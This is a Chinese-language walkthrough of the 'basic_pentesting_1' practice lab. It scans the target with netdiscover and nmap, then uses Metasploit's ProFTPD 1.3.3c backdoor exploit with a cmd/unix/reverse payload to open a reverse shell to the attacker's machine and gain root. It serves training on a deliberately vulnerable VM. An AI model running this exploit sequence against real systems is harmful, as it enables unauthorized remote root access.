basic_pentesting_1靶场

0 阅读1分钟

basic_pentesting_1是一个基于linux搭建的虚拟化渗透测试靶场镜像。,主要用于练习基础渗透测试技术。该靶场任务是获取靶场的root权限。

获取IP

启动虚拟机,在kali中通过netdiscover获取ip,192.168.44.0/24是我的网段,用ip a来查询自己的。

netdiscover -i eth0 -r 192.168.44.0/24

找到的ip是192.168.44.140

扫描开放端口

nmap -sV 192.168.44.140

nmap扫描服务.jpg

可以看到

PORTSTATESERVICEVERSION
21openftpProFTPD 1.3.3c
22opensshOpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu)
80openhttpApache httpd 2.4.18 ((Ubuntu))

测试21端口是否存在漏洞

登录msfconsole,查询是否有漏洞。

search ProFTPD 1.3.3c

ftp漏洞.jpg 利用漏洞

use 0

设置载荷

 #设置目标服务器ip
 set rhosts 192.168.44.140
 #设置利用载荷
 set payload cmd/unix/reverse
 #设置载荷的反弹shell地址
 set lhost 192.168.44.132
 run

运行成功后whoami

获取root权限.jpg

成功获取root权限。